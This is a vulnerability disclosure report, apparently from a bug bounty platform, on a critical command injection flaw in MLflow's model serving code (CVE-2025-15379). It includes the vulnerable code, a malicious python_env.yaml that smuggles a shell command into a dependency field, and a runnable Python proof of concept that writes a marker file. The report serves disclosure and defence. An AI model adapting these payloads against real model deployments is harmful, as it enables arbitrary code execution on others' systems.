Command Injection via Malicious Model Artifacts in mlflow/mlflow
Valid
Reported on Dec 23rd 2025
A command injection vulnerability exists in MLflow's model serving container initialization code. When deploying a model with env_manager=LOCAL, MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without sanitization. An attacker who can supply a malicious model artifact can achieve arbitrary command execution on systems that deploy the model.
Technical Description
The vulnerable code is located in the _install_model_dependencies_to_env() function which handles installing model dependencies when deploying models in containers:
# mlflow/models/container/__init__.py, lines 140-148
if env_manager == em.LOCAL:
# Install pip dependencies directly into the local environment
python_env_config_path = os.path.join(model_path, env_conf[em.VIRTUALENV])
python_env = _PythonEnv.from_yaml(python_env_config_path)
deps = " ".join(python_env.build_dependencies + python_env.dependencies)
deps = deps.replace("requirements.txt", os.path.join(model_path, "requirements.txt"))
if Popen(["bash", "-c", f"python -m pip install {deps}"]).wait() != 0:
raise Exception("Failed to install model dependencies.")
return []
The vulnerability exists because:
_PythonEnv.from_yaml()reads thepython_env.yamlfile usingyaml.safe_load()and returns thedependencieslist without validation- The dependencies are joined with spaces into a single string (line 144)
- This string is directly interpolated into a bash command (line 146)
- No sanitization or escaping is performed on the dependency strings
- Shell metacharacters (
;,|,&&,$(), etc.) are interpreted by bash
Root Cause Analysis
The _PythonEnv class in mlflow/utils/environment.py performs no validation on dependency strings:
# mlflow/utils/environment.py, lines 131-133
@classmethod
def from_yaml(cls, path):
with open(path) as f:
return cls.from_dict(yaml.safe_load(f)) # No validation performed
The YAML file is parsed and the dependencies list is returned as-is, allowing arbitrary strings including shell metacharacters.
POC
Malicious python_env.yaml
python: '3.12'
build_dependencies: []
dependencies:
- "numpy; echo 'COMMAND_INJECTION_SUCCESSFUL' > /tmp/poc_evidence.txt; echo"
Resulting Command Execution
When MLflow processes this artifact, it constructs and executes:
bash -c "python -m pip install numpy; echo 'COMMAND_INJECTION_SUCCESSFUL' > /tmp/poc_evidence.txt; echo"
Impact
This vulnerability is particularly critical because:
- MLflow is widely used for ML model deployment in production environments
- Model artifacts are often shared via registries, S3 buckets, or other storage
- Exploitation occurs automatically during model deployment with no user interaction
- Commands execute with the privileges of the container/process (often root)
Occurrences
_init_.py L146](https://github.com/mlflow/mlflow/blob/master/mlflow/models/container/__init__.py#L146)
#!/usr/bin/env python3
"""
Minimal PoC: MLflow Command Injection via python_env.yaml
Vulnerability: mlflow/models/container/__init__.py:146
"""
import os
import tempfile
import yaml
# Import the actual vulnerable function from MLflow
from mlflow.models.container import _install_model_dependencies_to_env
from mlflow.utils import env_manager as em
def main():
with tempfile.TemporaryDirectory() as model_path:
# 1. Create minimal MLmodel file
with open(os.path.join(model_path, "MLmodel"), "w") as f:
yaml.dump({
"flavors": {
"python_function": {
"env": {"virtualenv": "python_env.yaml"},
"loader_module": "mlflow.pyfunc.model"
}
}
}, f)
# 2. Create requirements.txt (required by MLflow)
with open(os.path.join(model_path, "requirements.txt"), "w") as f:
f.write("")
# 3. Create malicious python_env.yaml with command injection payload
with open(os.path.join(model_path, "python_env.yaml"), "w") as f:
yaml.dump({
"python": "3.12",
"build_dependencies": [],
"dependencies": [\
"pip; echo PWNED > /tmp/poc_evidence.txt; #"\
]
}, f)
print("[*] Calling MLflow's _install_model_dependencies_to_env()...")
print(f"[*] Model path: {model_path}")
# 4. Call the actual vulnerable MLflow function
try:
_install_model_dependencies_to_env(model_path, env_manager=em.LOCAL)
except Exception as e:
print(f"[*] Function raised: {e}")
# 5. Check if injection succeeded
if os.path.exists("/tmp/poc_evidence.txt"):
print("\n[!] COMMAND INJECTION SUCCESSFUL")
print(f"[!] Evidence: {open('/tmp/poc_evidence.txt').read().strip()}")
os.remove("/tmp/poc_evidence.txt")
else:
print("[-] Injection failed")
if __name__ == "__main__":
main()
CVE
CVE-2025-15379 published
Vulnerability Type
Severity
Critical (10)
Attack vector Network
Attack complexity Low
Privileges required None
User interaction None
Scope Changed
Confidentiality High
Integrity High
Availability High
Open in visual CVSS calculator
Registry
Pypi
Affected Version
3.8.0
Visibility
Public
Status
Fixed
Disclosure Bounty
$1500
Fix Bounty
$375
Found by
@colemurray
MIDDLEWEIGHT